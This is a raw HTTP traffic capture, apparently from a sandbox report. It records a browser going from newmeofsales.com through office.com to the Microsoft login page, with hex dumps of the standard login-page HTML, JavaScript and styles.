2025-04-01 10:11:29 UTC	16384	IN	Data Raw: f1 5f c0 fd 6b 49 bb fd cc 72 ed 3e 82 ba 0f 09 fc 1f d6 af ac d0 48 93 7d df 43 40 1f 72 7c 23 fd a6 ed fc 75 73 e5 89 01 cf 4e 6a 97 ed 27 f1 82 eb c2 16 42 48 59 95 48 ed 5e 27 fb 36 7c 38 d4 bc 39 e2 08 f7 ac 81 77 73 9a f6 5f da 4f c0 4d e2 0f 0a c7 85 2c db 7d 28 03 c9 f4 ef da 9a f2 f3 47 75 f3 1b 70 1e b5 8f e0 9f da 23 55 97 c5 aa b2 48 fe 5b 3f ad 72 e7 e1 4d f6 91 6f 24 9e 53 ed 19 ed 59 de 0b d2 ae ae bc 51 1c 62 16 5c 3e 3a 75 a0 0f a6 fe 23 7c 71 9b 49 f0 8a dc ab 1d db 73 9c d7 9f 78 07 f6 e0 fb 25 cb 2d cc 98 55 38 e4 d5 bf 8b 3e 0e ba 97 e1 ee 36 37 dc f4 af 91 fc 53 e1 0d 4a 29 26 5b 74 93 cc cf 60 68 03 f4 17 c3 bf b5 ce 9f ad 43 b9 66 53 f8 d5 0f 19 fe d8 d6 3a 0c 24 f9 cb eb d6 be 0b f0 1d c6 bf a1 cf e5 c9 e7 73 d3 ad 5e f8 83 a5 6b Data Ascii: _kIr>H}C@r\|#usNj'BHYH^'6\|89ws_OM,}(Gup#UH[?rMo$SYQb\>:u#\|qIsx%-U8>67SJ)&[t`hCfS:$s^k
2025-04-01 10:11:29 UTC	16384	IN	Data Raw: 8b ac 89 ff 00 5c 9f 9d 00 6a 51 54 e4 d7 6d d2 d8 cb e6 2e d0 33 d6 b2 61 f8 93 a7 cb 72 63 f3 93 23 b6 68 03 a2 a2 b3 61 f1 4d 9c ef b5 66 52 4f bd 37 59 f1 5d ae 8f 07 99 24 8a 06 33 c9 a0 0d 4a 2b ce 6e ff 00 68 2d 2e 0b df 2f ed 11 8e 71 d6 ba 9d 0b c7 d6 3a d5 a8 91 26 43 f4 34 01 bb 45 67 2f 8a 6c de 5d a2 65 cf d6 a0 f1 1f 8b ad f4 0d 3d a7 77 5d aa 33 c9 a0 0d 8a 2b c6 ff 00 e1 a9 74 d9 35 9f b2 8b 88 f7 6e c7 5a f4 2d 0f e2 1d 8e ab 6c ad e7 47 f3 0c f5 a0 0e 8a 8a ce 7f 14 d9 a2 e7 ce 5f ce 9d 0f 89 2c e7 fb b3 2f e7 40 17 e8 aa 92 6b 76 d1 2e e3 2a fe 75 0c 5e 29 b3 9a 4d ab 32 96 fa d0 06 8d 15 9b ab f8 9e df 48 b7 32 48 ea 14 77 26 b8 fb 8f 8f 7a 5c 37 9e 5f da 23 ce 71 8d d4 01 e8 54 56 2e 89 e3 9b 2d 66 d7 cc 8e 64 3f 43 56 0f 8a ac c4 9b Data Ascii: \jQTm.3arc#haMfRO7Y]$3J+nh-./q:&C4Eg/l]e=w]3+t5nZ-lG_,/@kv.*u^)M2H2Hw&z\7_#qTV.-fd?CV
2025-04-01 10:11:29 UTC	16384	IN	Data Raw: f1 ad 4b e2 ce b8 97 29 0c 12 4c 41 f4 26 80 3f 4f a5 fd a4 34 78 c1 26 e2 3c 7f bc 29 d6 7f b4 6e 8b 74 0e db 98 ff 00 ef a1 5f 97 3e 2f f8 8d e2 4d 2f 46 f3 37 dc 67 1e a6 b9 9f 0c fc 74 f1 26 1b f7 97 1e 9d 4d 00 7e b6 c1 fb 45 e8 f3 5c 6c 5b 88 ff 00 ef aa 5b df da 27 47 b3 90 2b 5c 44 3f e0 55 f9 4b a7 fc 75 d7 ad ae 0b 99 26 ce 7d 4d 65 78 8f f6 82 f1 25 d6 a6 a1 64 9f f3 a0 0f d7 37 fd a1 74 75 b7 df f6 88 8f fc 08 56 0e bf fb 54 69 16 50 36 db 88 f3 fe f5 7e 6e f8 2f e2 7f 89 35 eb 35 42 f7 1f 99 a4 f1 26 b9 af 25 c6 d6 69 82 9f 73 40 1f 6d ea 1f b6 cd 9a ea eb 1a cc bb 77 63 ef 57 af 7c 3e f8 f1 a7 78 8b 4c 59 3c f4 dc c3 b9 af ca 8d 42 0d 53 31 ce ad 26 e0 73 5d 8f c2 7f 8e 5a c6 99 ab c3 62 64 93 ef 01 8c 9a 00 fd 55 5f 1b da 1b 53 37 98 bb 71 Data Ascii: K)LA&?O4x&<)nt_>/M/F7gt&M~E\l[['G+\D?UKu&}Mex%d7tuVTiP6~n/55B&%is@mwcW\|>xLY<BS1&s]ZbdU_S7q

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:30 UTC	700	OUT	GET /?auth=2&home=1 HTTP/1.1 Host: www.office.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://newmeofsales.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:30 UTC	2570	IN	HTTP/1.1 302 Found Cache-Control: no-store,no-cache Pragma: no-cache Location: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0 Set-Cookie: OH.FLID=85d16236-38e9-4994-94c5-066db8de5dab; expires=Wed, 01 Apr 2026 10:11:30 GMT; path=/; secure; samesite=none; httponly Set-Cookie: OH.DCAffinity=OH-eus; expires=Tue, 01 Apr 2025 18:11:30 GMT; path=/; secure; samesite=none; httponly Set-Cookie: CreateFreeAccountButton=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: p.UnauthUserCookie=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: OH.SID=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: .AspNetCore.OpenIdConnect.Nonce._qIcgoyFU9ws-0VuZUL-tp7_vbofWLvtYDYSr6tvS5jHtNn-Lb4rJrJbQxvOdYjrePHoj5AYds1y6c13TFvrLcXHggYHRYWDaNC9yoZ3Ap5oR9e_NUQZXIqvG-0FyYCYzNfV_qqOa7HSBbDudkBWCVfGWeLNktagyLd5ocuSAsb-3eSXfw3dCUDdHOufxaVe2FTfahpAa5cY-nrJTbwevGnvpuiveDW5mpXPrUa6cRhdfxBya_Uj5qBTvUplX1HB=N; expires=Tue, 01 Apr 2025 10:26:30 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.Correlation.d0v2y-Zg_JCM9QkRHwwjYA9UUKw40GSJNE6cTKOxdh8=N; expires=Tue, 01 Apr 2025 10:26:30 GMT; path=/; secure; samesite=none; httponly Request-Context: appId= Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 Request-Id: 12a354ad-1076-4f36-b74f-bf167a8d4a0b X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 8B456B78481B4FFDB5CD2328F00D00CA Ref B: EWR311000104027 Ref C: 2025-04-01T10:11:30Z Date: Tue, 01 Apr 2025 10:11:29 GMT Connection: close Content-Length: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:30 UTC	605	OUT	GET /favicon.ico HTTP/1.1 Host: newmeofsales.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://newmeofsales.com/others.htm Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:31 UTC	531	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 01 Apr 2025 10:11:30 GMT strict-transport-security: max-age=31536000; includeSubDomains; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-04-01 10:11:31 UTC	796	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:30 UTC	1590	OUT	GET /organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0 HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://newmeofsales.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:31 UTC	2236	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 4a57b738-958a-4a7b-b6c2-7e9ae6ca1e00 x-ms-ests-server: 2.1.20329.5 - SCUS ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+chi"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-clitelem: 1,50168,0,, x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-vRObf6lRW6SCX85xBV6Pbw' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Set-Cookie: esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AnxeKz3mi6BEio4rlACbXLY; expires=Thu, 01-May-2025 10:11:30 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQESJV2EAwTidCou7Q-e-PKLl6MCOKXQVZ-FiDACgIKE3ViK0Tjo7CxMuL_LgttLKuuaIP9SfWOX1brFkCTuFH0Pf-A5gaPEmzsm9_Tw_8hK50EJ31pL8g1eo3_PN7fueBEm9qCaWLylCo3mmGk3rfAZa4Ua72lQ9g4cte4_zKNWnQgAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 01 Apr 2025 10:11:30 GMT Connection: close Content-Length: 21549
2025-04-01 10:11:31 UTC	14148	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head> <title>Redirecting</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" conten
2025-04-01 10:11:31 UTC	7401	IN	Data Raw: 64 20 61 6e 64 20 63 61 6e 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 22 7d 72 3f 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 3a 63 2e 4f 6e 53 75 63 63 65 73 73 28 65 2c 74 29 7d 2c 63 2e 4f 6e 53 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 65 29 7b 74 68 72 6f 77 22 54 68 65 20 74 61 72 67 65 74 20 65 6c 65 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 70 72 6f 76 69 64 65 64 20 61 6e 64 20 63 61 6e 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 22 7d 69 66 28 75 28 65 29 29 7b 72 65 74 75 72 6e 20 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 7d 76 61 72 20 6e 3d 65 2e 73 72 63 7c 7c 65 2e 68 72 65 66 7c 7c 22 22 2c 6f 3d 69 28 29 2c 73 3d 61 28 29 3b 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 4c 6f 61 64 65 64 22 2c 65 29 3b 76 61 72 20 64 3d 6e 65 77 Data Ascii: d and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(u(e)){return c.OnError(e,t)}var n=e.src\|\|e.href\|\|"",o=i(),s=a();r("[$Loader]: Loaded",e);var d=new

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:31 UTC	642	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_9810YxmrLqOR1rQ4anyNMg2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive Origin: https://login.microsoftonline.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:31 UTC	661	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-MD5: R7Y1mgm77mqkG4LgbFphBQ== Last-Modified: Wed, 29 Jan 2025 22:54:06 GMT ETag: "0x8DD40B7D5C9F36B" x-ms-request-id: 85c571c8-901e-009a-726f-761fbe000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=26643448 Date: Tue, 01 Apr 2025 10:11:31 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-GRN: 0.9f04d217.1743502291.726779a
2025-04-01 10:11:31 UTC	15723	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 Data Ascii: 00006000/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyrigh
2025-04-01 10:11:32 UTC	8865	IN	Data Raw: 64 69 61 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 20 61 63 74 69 76 65 29 20 7b 20 20 2e 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 2d 64 65 74 65 63 74 69 6f 6e 3a 3a 62 65 66 6f 72 65 20 7b 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 61 63 74 69 76 65 22 3b 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 20 7d 7d 40 6d 65 64 69 61 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 20 62 6c 61 63 6b 2d 6f 6e 2d 77 68 69 74 65 29 20 7b 20 20 2e 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 2d 64 65 74 65 63 74 69 6f 6e 3a 3a 62 65 66 6f 72 65 20 7b 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 77 68 69 74 65 22 3b 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 20 7d 7d 40 6d 65 64 69 61 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f Data Ascii: dia (-ms-high-contrast: active) { .high-contrast-detection::before { content: "active"; display: none; }}@media (-ms-high-contrast: black-on-white) { .high-contrast-detection::before { content: "white"; display: none; }}@media (-ms-high-co
2025-04-01 10:11:32 UTC	16384	IN	Data Raw: 30 30 30 30 35 30 32 33 0d 0a 6c 61 73 74 49 6e 64 65 78 3d 30 2c 63 78 2e 74 65 73 74 28 74 65 78 74 29 26 26 28 74 65 78 74 3d 74 65 78 74 2e 72 65 70 6c 61 63 65 28 63 78 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 5c 5c 75 22 2b 28 22 30 30 30 30 22 2b 65 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 34 29 7d 29 29 29 2c 2f 5e 5b 5c 5d 2c 3a 7b 7d 5c 73 5d 2a 24 2f 2e 74 65 73 74 28 74 65 78 74 2e 72 65 70 6c 61 63 65 28 2f 5c 5c 28 3f 3a 5b 22 5c 5c 5c 2f 62 66 6e 72 74 5d 7c 75 5b 30 2d 39 61 2d 66 41 2d 46 5d 7b 34 7d 29 2f 67 2c 22 40 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 5b 5e 22 5c 5c 5c 6e 5c 72 5d 2a 22 7c 74 72 75 65 7c 66 61 6c 73 65 7c 6e 75 6c 6c 7c 2d 3f 5c Data Ascii: 00005023lastIndex=0,cx.test(text)&&(text=text.replace(cx,(function(e){return"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)}))),/^[\],:{}\s]$/.test(text.replace(/\\(?:["\\\/bfnrt]\|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]"\|true\|false\|null\|-?\
2025-04-01 10:11:32 UTC	4143	IN	Data Raw: 73 68 53 74 61 74 65 73 3a 7b 53 75 63 63 65 73 73 3a 30 2c 43 61 6e 63 65 6c 3a 31 2c 45 72 72 6f 72 3a 32 2c 4e 6f 74 53 75 70 70 6f 72 74 65 64 3a 33 7d 2c 55 6e 65 78 70 65 63 74 65 64 45 72 72 6f 72 43 6f 64 65 3a 39 39 39 39 2c 45 64 67 65 45 72 72 6f 72 43 6f 64 65 73 3a 7b 53 79 6e 74 61 78 45 72 72 6f 72 3a 33 2c 4e 6f 74 46 6f 75 6e 64 45 72 72 6f 72 3a 38 2c 4e 6f 74 53 75 70 70 6f 72 74 65 64 45 72 72 6f 72 3a 39 2c 49 6e 76 61 6c 69 64 41 63 63 65 73 73 45 72 72 6f 72 3a 31 35 2c 41 62 6f 72 74 45 72 72 6f 72 3a 32 30 7d 7d 2c 74 2e 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 3d 7b 55 6e 6b 6e 6f 77 6e 3a 2d 31 2c 45 78 69 73 74 73 3a 30 2c 4e 6f 74 45 78 69 73 74 3a 31 2c 54 68 72 6f 74 74 6c 65 64 3a 32 2c 45 72 72 6f 72 3a 34 2c 45 78 69 73 Data Ascii: shStates:{Success:0,Cancel:1,Error:2,NotSupported:3},UnexpectedErrorCode:9999,EdgeErrorCodes:{SyntaxError:3,NotFoundError:8,NotSupportedError:9,InvalidAccessError:15,AbortError:20}},t.IfExistsResult={Unknown:-1,Exists:0,NotExist:1,Throttled:2,Error:4,Exis
2025-04-01 10:11:32 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 76 65 6e 74 41 72 67 73 3a 74 2c 65 76 65 6e 74 4f 70 74 69 6f 6e 73 3a 72 7d 29 2c 6e 7d 2c 73 2e 67 65 74 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 3d 74 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 22 29 7c 7c 28 74 2e 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 3d 21 30 29 2c 74 2e 65 76 65 6e 74 4c 65 76 65 6c 3d 74 2e 65 76 65 6e 74 4c 65 76 65 6c 7c 7c 72 2e 45 76 65 6e 74 4c 65 76 65 6c 2e 49 6e 66 6f 2c 7b 76 69 65 77 4d 6f 64 65 6c 3a 65 2c 74 72 61 63 69 6e 67 4f 70 74 69 6f 6e 73 3a 74 7d 7d 2c 73 2e 67 65 74 44 65 66 61 75 6c 74 54 Data Ascii: 00004000eventArgs:t,eventOptions:r}),n},s.getPropertyLogOption=function(e,t){return(t=t\|\|{}).hasOwnProperty("tracingPropertyChange")\|\|(t.tracingPropertyChange=!0),t.eventLevel=t.eventLevel\|\|r.EventLevel.Info,{viewModel:e,tracingOptions:t}},s.getDefaultT
2025-04-01 10:11:32 UTC	12	IN	Data Raw: 69 7a 65 44 6f 6d 4e 6f 64 65 0d 0a Data Ascii: izeDomNode
